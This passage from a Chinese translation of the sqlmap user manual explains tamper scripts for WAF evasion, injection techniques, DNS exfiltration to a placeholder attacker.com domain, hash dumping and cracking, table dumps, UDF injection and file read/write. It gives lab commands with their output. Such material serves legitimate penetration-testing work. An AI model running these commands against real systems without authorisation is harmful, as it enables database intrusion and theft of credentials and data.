)的情況下,這些值將被自動轉義(例如:SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)
(譯者注:該例語法適用於 Microsoft SQL Server))。這么做有兩個原因:對 payload 內容進行模糊處理,還有防止后端服務器上潛在的查詢轉義機制(例如:magic_quotes
和/或 mysql_real_escape_string
)。用戶可以使用此開關將其關閉(例如:需要減小 payload 的大小時)。
自定義注入 payload
選項:--prefix
和 --suffix
在某些情況下,僅當用戶提供附加到注入 payload 的特定后綴時,才能利用易受攻擊的參數。另外,當用戶已經知道查詢語法並希望通過直接提供注入 payload 前綴和后綴來檢測利用 SQL 注入時,這些選項對這種場景會很方便。
漏洞源代碼示例:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
要檢測並利用此 SQL 注入,您可以讓 sqlmap 在檢測階段檢測邊界(與 SQL payload 前綴和后綴組合),或者自己提供。
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
這將使所有 sqlmap 請求最終構成以下查詢:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
以使查詢語法正確。
在這個簡單的例子中,sqlmap 可以檢測 SQL 注入並利用它,而不需要提供自定義的邊界,但有時在真實情況中的應用程序,當注入點存在於嵌套的 JOIN
查詢中時,需要提供它。
修改注入數據
選項:--tamper
sqlmap 本身不會混淆發送的 payload,除了將單引號之間的字符串用諸如 CHAR()
進行替換。
如果后端 DBMS 與用戶輸入內容存在較弱驗證機制的情況下,此選項會非常有用。這種驗證機制通常是由應用程序源代碼調用自行開發的輸入驗證例程,如昂貴的企業級 IPS 設備或 Web 應用程序防火牆(WAF)。一言蔽之,它們通常以不同的方式實現並且需要花費大量資金。
要利用此選項,需要為 sqlmap 提供逗號分隔的修改腳本列表,這將處理 payload 並返回轉換結果。你可以定義自己的修改腳本,編輯使用 sqlmap tamper/
文件夾中的腳本,並使用逗號分隔連接它們作為 --tamper
選項的值(例如:--tamper="between,randomcase"
)。
合法的修改腳本格式如下:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
你可以在 tamper/
目錄中查看有效和可用的修改腳本。
針對 MySQL 目標,假定字符 >
、空格和大寫的 SELECT
字符串被禁止:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]
檢測
下面的相關選項可用於自定義檢測環節。
級別
選項:--level
使用這個選項需要給出一個參數用於指定即將進行檢測的級別。總共有五個級別。默認的級別是 1,該級別只會進行簡單的檢測(請求)。與之不同的是,級別 5 會更詳細地對更大范圍 payloads 和 boundaries(作為 SQL payload 的前綴和后綴)進行檢測。sqlmap 使用的 payloads 直接從文本文件 xml/payloads.xml
中載入。根據該文件頂部的相關指導說明進行設置,如果 sqlmap 漏過了特定的注入,你可以選擇自己修改指定的 payload 用於檢測。
這個選項設置不止會影響 sqlmap 使用的 payload,還會影響到相關的測試注入點:總是測試 GET 和 POST 的相關參數,級別大於等於 2 則會測試 HTTP Cookie 頭部,級別大於等於 3 則會測試 HTTP UserAgent/Referer 頭部值。
總而言之, 如果 SQL 注入檢測的難度越高,則需要設定越高的 --level
值。
強烈建議在向 sqlmap 郵件列表反饋 sqlmap 無法檢測到特定類型的注入之前,嘗試設定一個更高的 --level
值用於檢測。
風險
選項:--risk
這個選項需要給出一個參數用於指定即將進行檢測的風險程度。總共有三個風險級別。默認的級別是 1,對大多數 SQL 注入點而言是沒有任何風險的。風險級別 2 則會在默認的檢測上添加大量時間型盲注(Time-based blind)語句測試,級別 3 則會在原基礎上添加OR
類型的布爾型盲注(Boolean-based blind)測試。
在某些場景下,例如對 UPDATE
語句進行 SQL 注入,注入一個 OR
類型的 payload 會導致目標數據表的所有記錄進行更新,顯然這個不是攻擊者想要的結果。針對這個場景及其他相關場景,sqlmap 引入了 --risk
這個選項。通過這個選項:用戶可以指定檢測特定的 payload,同時用戶可任意選擇使用可能比較危險的操作。正如上面的選項提及到的,sqlmap 使用的 payloads 是直接在文本文件 xml/payloads.xml
載入的,該文件支持用戶自定義編輯添加。
頁面對比
選線:--string
,--not-string
,--regexp
和 --code
默認區分一個 True
查詢和 False
查詢(布爾型盲注背后的相關理念概念)是通過對比注入前后返回的結果頁面是否一致進行判斷的。
不過這個參照方法並不一定有效,因為可能就算沒有進行注入,頁面內容也會進行相應更新。例如:頁面上有計數器、動態的廣告橫幅、或者任何基於時間而非用戶輸入內容進行動態渲染的內容。為了避免類似的情況,sqlmap 會盡可能嘗試識別出對應的代碼段所返回的請求內容並做好相關的處理。有時候,可能無法正確處理該情況,這也是為什么 sqlmap 允許用戶提供一個字符串(--string
選項),這個字符串需要出現在原頁面(這個並不是強制規定)和所有查詢結果為 True
的頁面查詢中,並且不出現在查詢結果為 False
的頁面。除了提供靜態的字符串外,用戶可以提供正則表達式(--regexp
選項)用於匹配。此外,用戶可以提供一個字符串(--not-string
選項),該字符串不能出現在原頁面或者所有查詢結果為 True
的頁面,而總是出現在查詢結果為 False
的頁面。
通過對相關的參數注入非法值並手動對比原頁面(未經過注入)和注入結果頁面的不同,就可以輕易地得到目標字符串。通過這種方式的定義,頁面不同的判定則會是基於用戶指定的字符串或者正則表達式的匹配。
如果用戶知道可以通過 HTTP 狀態碼區分 True
查詢和 False
查詢(例如:200
對應 True
,401
對應 False
),那么可以向 sqlmap 提供對應的信息。(例如:--code=200
)。
開關:--text-only
和 --titles
如果用戶知道可以通過 HTML 標題區分 True
查詢和 False
查詢(例如:Welcome
對應 True
,Forbidden
對應 False
),那么可以使用 --titles
開啟基於標題對比的開關。
如果 HTTP 響應報文中存在無效信息(例如:腳本、嵌套元素等),可以通過過濾頁面的內容(開關 --text-only
)而只獲取文本內容。通過這種方式,大多數情況下,這樣會自動調優檢測引擎。
技術
以下選項可用於調整對特定 SQL 注入技術的測試。
測試會用到的 SQL 注入技術
選項:--technique
此選項用於指定需要測試的 SQL 注入類型。默認情況下 sqlmap 會測試它支持的所有類型/技術。
在某些情況下,你可能只想測試一種或幾種特定類型的 SQL 注入,這便是該選項存在的作用。
此選項需要一個參數值。該參數是由 B
,E
,U
,S
,T
和 Q
這樣的字符任意組合成的字符串,每個字母代表不同的技術:
B
:布爾型盲注(Boolean-based blind)E
:報錯型注入(Error-based)U
:聯合查詢注入(UNION query-based)S
:堆疊查詢注入(Stacked queries)T
:時間型盲注(Time-based blind)Q
:內聯查詢注入(inline Query)
例如,如果僅測試利用報錯型注入和堆疊查詢注入,你可以提供 ES
。默認值為 BEUSTQ
。
注意,當你需要訪問文件系統,接管操作系統或訪問 Windows 注冊表配置單元時,提供的字符串必須包含代表堆疊查詢技術的字母 S
。
設置時間型盲注中 DBMS(Database Management System,數據庫管理系統)延遲響應秒數
選項:--time-sec
為 --time-sec
提供一個整數,可以設置時間型盲注響應的延遲時間。默認情況下,它的值為 5 秒。
指定聯合查詢注入中的列數
選項:--union-cols
默認情況下,sqlmap 進行聯合查詢注入時使用 1 到 10 列。當然,可以通過提供更高的--level
值將該范圍增加到最多 50 列。有關詳細信息,請參閱相關段落。
你可以手動指定選項 --union-cols
和相應的數字范圍,以針對該類型的 SQL 注入測試特定范圍的列。例如,12-16
代表進行 12 到 16 列的聯合查詢注入測試。
用於測試聯合查詢注入的字符
選項:--union-char
默認情況下,sqlmap 測試聯合查詢注入會使用 NULL
字符。然而,通過提供更高的--level
值,sqlmap 將執行一個隨機數字的測試,因為存在少數情況,使用 NULL
的聯合查詢注入會失敗,而使用隨機整數會成功。
你可以手動提供選項 --union-char
和所需的數字(例如:--union-char 123
)來測試該類型的 SQL 注入。
聯合查詢注入中 FROM 子句中使用的表
選項:--union-from
在部分聯合查詢注入中,需要在 FROM
子句中強制指定使用有效且可訪問的表名。例如,Microsoft Access 就要求使用這樣的表。如果不提供一個這樣的表,聯合查詢注入將無法正常執行(例如:--union-from=users
)。
DNS 滲出攻擊
選項:--dns-domain
DNS 滲出 SQL 注入攻擊在文章 Data Retrieval over DNS in SQL Injection Attacks(譯者注:烏雲知識庫有該文章的翻譯,在 SQL 注入中使用 DNS 獲取數據)中進行了介紹,而 sqlmap 中的實現方式可以在幻燈片 使用 sqlmap 進行 DNS 滲出攻擊 中找到。
如果用戶正控制着一台注冊為 DNS 域名服務器的主機(例如:域名 attacker.com
),則可以使用該選項(例如:--dns-domain attacker.com
)來啟用此攻擊。它的前提條件是使用 Administrator
(即管理員)權限(因為需要使用特權端口 53
)運行 sqlmap,這時可以使用常用的(盲注)技術來進行攻擊。如果已經識別出一種有效攻擊方式(最好是時間型盲注),則這種攻擊能夠加速獲取數據的過程。如果報錯型注入或聯合查詢注入技術可用,則默認情況下將跳過 DNS 滲出攻擊測試。
二階注入攻擊
選項:--second-url
與 --second-req
當攻擊一個存在漏洞的頁面,它的 payload 注入結果顯示(反射)在另一個頁面(例如:frame)中,這種攻擊就叫 SQL 二階注入攻擊。通常情況是用戶在存在漏洞的頁面輸入內容存儲到數據庫而導致的漏洞。
你可以使用選項 --second-url
加上結果顯示頁面的 URL 地址,或者使用 --second-req
加上相應的請求文件路徑,以此來測試此類型的 SQL 注入。
指紋識別
進行廣泛的 DBMS(Database Management System,數據庫管理系統)指紋識別
開關: -f
或 --fingerprint
默認 sqlmap 會自動幫你識別 Web 應用后端 DBMS 的相關信息。在檢測階段結束並提醒用戶進一步選擇檢測可注入參數的時候,sqlmap 會自動識別后端 DBMS 信息,並根據特定的數據庫架構采用合適的 SQL 語法、方言和相關查詢,進行進一步的攻擊測試。
如果你想采用特定 SQL 方言或者內帶特定錯誤信息等技術展開詳細的 DBMS 指紋識別,可以提供 --fingerprint
開關。這樣,sqlmap 則會發起更多的請求,並對DBMS 版本,甚至是操作系統、系統架構和補丁級別信息等方面展開指紋收集。
如果你想要更加精准的指紋識別結果,可以提供開關 -b
或者 --banner
。
枚舉
以下選項可用於枚舉后端 DBMS(Database Management System,數據庫管理系統)信息、表結構和表中包含的數據。此外,你還可以運行自定義的SQL 語句。
獲取全部數據
開關:--all
當用戶想要通過使用單個開關遠程獲取所有可訪問數據信息,可以使用該開關。通常不建議這么做,因為它會產生大量的請求同時獲取有用無用的數據。
標語(Banner)
開關:-b
或 --banner
大多數現代 DBMS 具有一個函數和/或一個環境變量,它會返回 DBMS 版本,並最終在其補丁級別詳細介紹底層系統。通常這個函數是 version()
,環境變量是 @@version
,這取決於目標 DBMS。
針對 Oracle 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
當前會話用戶
開關:--current-user
使用此開關,可以從 Web 應用程序中獲取到當前正在執行相關數據庫查詢操作的 DBMS 用戶。
當前數據庫
開關:--current-db
使用此開關可以獲取 Web 應用程序連接到的 DBMS 數據庫名稱。
服務器主機名
開關:--hostname
使用此開關可以獲取 DBMS 所在的主機名。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
檢測當前會話用戶是否為數據庫管理員
開關:--is-dba
可以檢測當前 DBMS 會話用戶是否為數據庫管理員,也稱為 DBA。如果是,sqlmap 將返回 True
,否則返回 False
。
列出 DBMS 所有用戶
開關:--users
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,可以枚舉用戶列表。
列出和破解 DBMS 用戶的密碼哈希
開關:--passwords
如果當前會話用戶對包含 DBMS 用戶密碼信息的系統表有讀取權限,則可以枚舉每個 DBMS 用戶的密碼哈希值。sqlmap 將會枚舉所有用戶,及一一對應的用戶密碼哈希。
針對 PostgreSQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
以上例子中,sqlmap 不僅枚舉了 DBMS 用戶及其密碼,而且識別出密碼哈希格式屬於PostgreSQL,並詢問用戶是否使用字典文件進行散列測試,並識別出了用戶 postgres
的明文密碼,它通常是 DBA,被識別出的還有用戶 testuser
的密碼。
對於可以枚舉用戶密碼哈希的 DBMS 都已實現了此功能,包括 Oracle 和 Microsoft SQL Server 2005 及后續版本。
你還可以使用 -U
選項來指定要枚舉的特定用戶,並破解其對應密碼哈希。如果你提供 CU
作為用戶名,它會將其視為當前用戶的別名,並將獲取此用戶的密碼哈希值。
列出 DBMS 所有用戶權限
開關:--privileges
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,則可以枚舉出每個 DBMS 用戶的權限。根據權限信息,sqlmap 還將顯示出哪些是數據庫管理員。
你還可以使用 -U
選項來指定要枚舉出權限的用戶。
如果你提供 CU
作為用戶名,它會將其視為當前用戶的別名,並將獲取此用戶的權限信息。
在 Microsoft SQL Server 中,此功能將顯示每個用戶是否為數據庫管理員,而不是所有用戶的權限列表。
列出 DBMS 所有用戶角色
開關:--roles
如果當前會話用戶對包含 DBMS 用戶信息的系統表有讀取權限,則可以枚舉出每個 DBMS 用戶的角色。
你還可以使用 -U
選項來指定要枚舉出角色的用戶。
如果你提供 CU
作為用戶名,它會將其視為當前用戶的別名,並將獲取此用戶的角色信息。
此功能僅在 DBMS 為 Oracle 時可用。
列出 DBMS 所有數據庫
開關:--dbs
如果當前會話用戶對包含 DBMS 可用數據庫信息的系統表有讀取權限,則可以枚舉出當前數據庫列表。
枚舉數據表
開關和選項:--tables
,--exclude-sysdbs
和 -D
如果當前會話用戶對包含 DBMS 數據表信息的系統表有讀取權限,則可以枚舉出特定 DBMS 的數據表。
如果你不使用選項 -D
來指定數據庫,則 sqlmap 將枚舉所有 DBMS 數據庫的表。
你還可以提供開關 --exclude-sysdbs
以排除所有的系統數據庫。
注意,對於 Oracle,你需要提供 TABLESPACE_NAME
而不是數據庫名稱。
枚舉數據表的列名
開關和選項:--columns
,-C
,-T
和 -D
如果當前會話用戶對包含 DBMS 數據表信息的系統表有讀取權限,則可以枚舉出特定數據表的列名。sqlmap 還將枚舉所有列的數據類型。
此功能可使用選項 -T
來指定表名,還可以使用選項 -D
來指定數據庫名稱。如果未指定數據庫名稱,將使用當前的數據庫名稱。你還可以使用選項 -C
來指定要枚舉的表列名。
針對 SQLite 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
注意,對於 PostgreSQL,你需要提供 public
或系統數據庫的名稱。這是因為不可能枚舉其他數據庫表,只能枚舉出 Web 應用程序用戶連接到的數據庫模式下的表,它們總是以 public
為別名。
枚舉 DBMS 模式
開關:--schema
和 --exclude-sysdbs
用戶可以使用此開關獲取 DBMS 模式。模式列表將包含所有數據庫、表和列以及它們各自的類型。結合 --exclude-sysdbs
,只有包含非系統數據庫的模式才會被獲取並顯示出來。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
獲取數據表的數據條目數
開關:--count
如果用戶想要在導出所需表數據之前知道表中的條目數,可以使用此開關。
針對 Microsoft SQL Server 目標的示例:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
導出數據表條目
開關和選項:--dump
,-C
,-T
,-D
,--start
,--stop
,--first
,--last
,--pivot-column
和 --where
如果當前會話用戶對特定的數據表有讀取權限,則可以導出數據表條目。
此功能依賴選項 -T
來指定表名,還可以用選項 -D
來指定數據庫名稱。如果提供了表名而不提供數據庫名,則會使用當前的數據庫。
針對 Firebird 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
此開關也可用於導出指定數據庫數據表的所有條目。你只需要提供開關 --dump
和選項 -D
(不提供 -T
和 -C
)。
你還可以使用選項 -C
提供一個以逗號分隔的特定列名列表來導出數據。
sqlmap 還能會為每個表生成相應的 CSV 格式文本文件用於存儲導出的數據。你可以通過提供大於或等於 1 的詳細程度級別來查看 sqlmap 所創建文件的絕對路徑。
如果只是想導出特定范圍的條目,可以提供選項 --start
和/或 --stop
,以指定要從哪條數據開始導出和在哪條數據停止。例如,如果僅導出第一個條目,就在命令行中提供 --stop 1
。或者如果你只想導出第二和第三個條目,就提供 --start 1
--stop 3
。
還可以使用選項 --first
和 --last
指定要導出的單個字符或特定范圍的字符。例如,如果要導出條目的第三到第五個字符,就提供 --first 3
--last 5
。此功能僅適用於盲注技術,因為報錯型注入(Error-based)和聯合查詢注入(UNION query-based)技術不管列數據條目的長度如何,發起的請求數量是完全相同的。
有些情況下(例如:對於 Microsoft SQL Server,Sybase 和 SAP MaxDB),由於缺少類似的機制,無法使用 OFFSET m, n
直接導出表的數據。在這種情況下,sqlmap 通過確定最適合的 pivot
列(具有唯一值的列,一般是主鍵),並使用該列檢索其他列值,以此來導出數據。如果因為自動選擇的 pivot
列不適用(例如:由於缺少表導出結果)而需要強制使用特定列,你可以使用選項 --pivot-column
(例如: --pivot-column=id
)。
如果要約束導出特定的列值(或范圍),可以使用選項 --where
。提供的邏輯運算將自動在 WHERE
子句內使用。例如,如果使用 --where="id>3"
,那么只有 id
值大於 3 的行會被獲取(通過將 WHERE id>3
附加到使用的查詢語句中)。
正如你可能已經注意到的,sqlmap 非常靈活:你可以將讓其自動導出整個數據庫表,或者非常精確地導出特定字符、列和范圍的條目。
導出所有數據表條目
開關:--dump-all
和 --exclude-sysdbs
如果當前會話用戶的讀取權限允許,可以一次導出所有數據庫表條目。
你還可以提供開關 --exclude-sysdbs
以排除所有的系統數據庫。在這種情況下,sqlmap 只會導出當前用戶的數據庫表條目。
注意,對於 Microsoft SQL Server,master
數據庫不被視為系統數據庫,因為某些數據庫管理員將其用作用戶數據庫。
搜索列,表或數據庫
開關和選項:--search
,-C
,-T
,-D
此開關允許你在所有數據庫中搜索特定的數據庫名和表名,在特定的數據表中搜索特定的列名。
這非常有用,例如,要識別包含應用程序憑據的表,其中相關列的名稱包含諸如 name 和 pass 這樣的字符串。
開關 --search
需要與以下支持選項一起使用:
-C
,附帶以逗號分隔的列名列表來搜索整個 DBMS。-T
,附帶以逗號分隔的表名列表來搜索整個 DBMS。-D
,附帶以逗號分隔的數據庫名列表來搜索整個 DBMS。
運行自定義 SQL 語句
選項和開關:--sql-query
和 --sql-shell
SQL 查詢和 SQL shell 功能允許在 DBMS 上運行任意 SQL 語句。sqlmap 會自動解析提供的語句,確定哪種技術適合用於注入它,以及如何打包相應的 SQL payload。
如果查詢是 SELECT
語句,sqlmap 將獲取其輸出。否則,如果 Web 應用程序的后端 DBMS 支持多語句,它將通過堆疊查詢注入(Stacked queries)技術執行查詢。注意,某些 Web 應用程序技術不支持特定 DBMS 上的堆疊查詢。例如,當后端 DBMS 是 MySQL 時,PHP 不支持堆疊查詢,但是當后端 DBMS 是 PostgreSQL 時,它是支持的。
針對 Microsoft SQL Server 2000 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
如你所見,sqlmap 將提供的查詢分解為兩個不同的 SELECT
語句,然后單獨獲取每個查詢的輸出。
如果提供的查詢是一個 SELECT
語句並包含一個 FROM
子句,sqlmap 會詢問你是否可以返回多個條目。在這種情況下,它知道如何解析返回的結果,逐條計算指定的條目數量,並給出相關輸出。
SQL shell 選項允許你以交互方式運行自己的 SQL 語句,就像直接連接到 DBMS 的 SQL 控制台。此功能還提供 TAB 補全和輸入歷史支持。
暴力破解
以下開關可用於暴力破解檢查。
暴力破解表名
開關:--common-tables
在某些場景下,開關 --tables
並不能用於獲取數據庫中表的名稱。這樣的場景通常會在如下情況下發生:
- DBMS(Database Management System,數據庫管理系統)是 < 5.0 版本的 MySQL,它們不具備
information_schema
。 - DBMS 是微軟的 Access 數據庫,並且其中的系統表
MSysObjects
默認設置不可讀。 - 當前會話用戶對 DBMS 中存儲數據表定義的系統表沒有讀權限。
如果出現前面兩個場景中的任意一個,並且你開啟了 --tables
開關,sqlmap 則會提示你是否使用暴力破解技術。因而,就算出現上面兩個場景之一,只要你開啟了 --common-tables
,sqlmap 仍然可以識別出部分系統數據表。sqlmap 會嘗試對系統表進行暴力破解,試圖找出 DBMS 中存在的常見數據表。
常見的數據表名列表存儲在 txt/common-tables.txt
,支持用戶進行任意修改。
針對 MySQL 4.1 目標的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
暴力破解列名
開關:--common-columns
對於任意數據表,可能存在開啟了開關 --columns
之后仍不能夠獲取數據庫表的列名的情況。這樣的場景通常會在如下情況下發生:
- DBMS 是 < 5.0 版本的 MySQL,它們不具備
information_schema
。 - DBMS 是微軟的 Access 數據庫,相對應的列名信息在數據庫系統表中不存在。
- 當前會話用戶對 DBMS 中存儲數據表定義的系統表沒有讀權限。
如果出現前面兩個場景中的任意一個,並且你開啟了 --columns
開關,sqlmap 則會提示你是否使用暴力破解技術。因而,就算出現上面兩個場景之一,只要你開啟了 --common-columns
,sqlmap 仍然可以識別出部分系統數據表。sqlmap 會嘗試對系統表進行暴力破解,試圖找出 DBMS 中存在的常見數據表列名。
常見的數據表名列表存儲在 txt/common-columns.txt
,支持用戶進行任意修改。
用戶自定義函數注入
以下選項用於創建用戶自定義函數。
注入用戶自定義函數(UDF)
開關和選項:--udf-inject
和 --shared-lib
你可以通過編譯 MySQL 或 PostgreSQL 共享庫(在 Windows 上為 DLL,在 Linux/Unix 上為共享對象(shared object))來注入自己的用戶自定義函數(UDFs),然后將本地存儲共享庫的目錄路徑提供給 sqlmap。sqlmap 會根據你的選擇決定下一步是向數據庫服務器文件系統上傳共享庫到還是創建用戶自定義函數。當你完成注入 UDFs 的使用后,sqlmap 還可以將它們從數據庫中刪除。
這些技術在白皮書通過高級 SQL 注入完全控制操作系統中有詳細介紹。
使用選項 --udf-inject
並按照說明進行操作即可。
如果需要,也可以使用 --shared-lib
選項通過命令行指定共享庫的本地文件系統路徑。否則 sqlmap 會在運行時向你詢問路徑。
此功能僅在 DBMS(Database Management System,數據庫管理系統)為 MySQL 或 PostgreSQL 時有用。
訪問文件系統
讀取數據庫服務器文件系統文件
選項:--file-read
當后端 DBMS(Database Management System,數據庫管理系統)為 MySQL,PostgreSQL 或者 Microsoft SQL Server,並且當前會話用戶擁有利用數據庫特定功能和相關架構弱點的權限時,sqlmap 能夠直接讀取底層文件系統中文件的內容。文件可以是文本文件或者二進制文件,sqlmap 都能夠正確地處理相關文件。
這些技術的相關詳情可見白皮書通過高級 SQL 注入完全控制操作系統。
下面是以 Microsoft SQL Server 2005 為目標,獲取二進制文件的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
向數據庫服務器的文件系統上傳文件
選項:--file-write
和 --file-dest
當后端 DBMS 為 MySQL,PostgreSQL 或者 Microsoft SQL Server,並且當前會話用戶擁有利用數據庫特定功能和相關架構弱點的權限時,sqlmap 能夠向數據庫服務器文件系統上傳一個本地文件。文件可以是文本文件或者二進制文件,sqlmap 都能夠正確地處理相關文件。
這些技術的相關詳情可見白皮書通過高級 SQL 注入完全控制操作系統。
下面是以 MySQL 為目標,向服務器提交一個經過 UPX 壓縮的二進制文件的例子:
$ file /software/nc.exe.packed
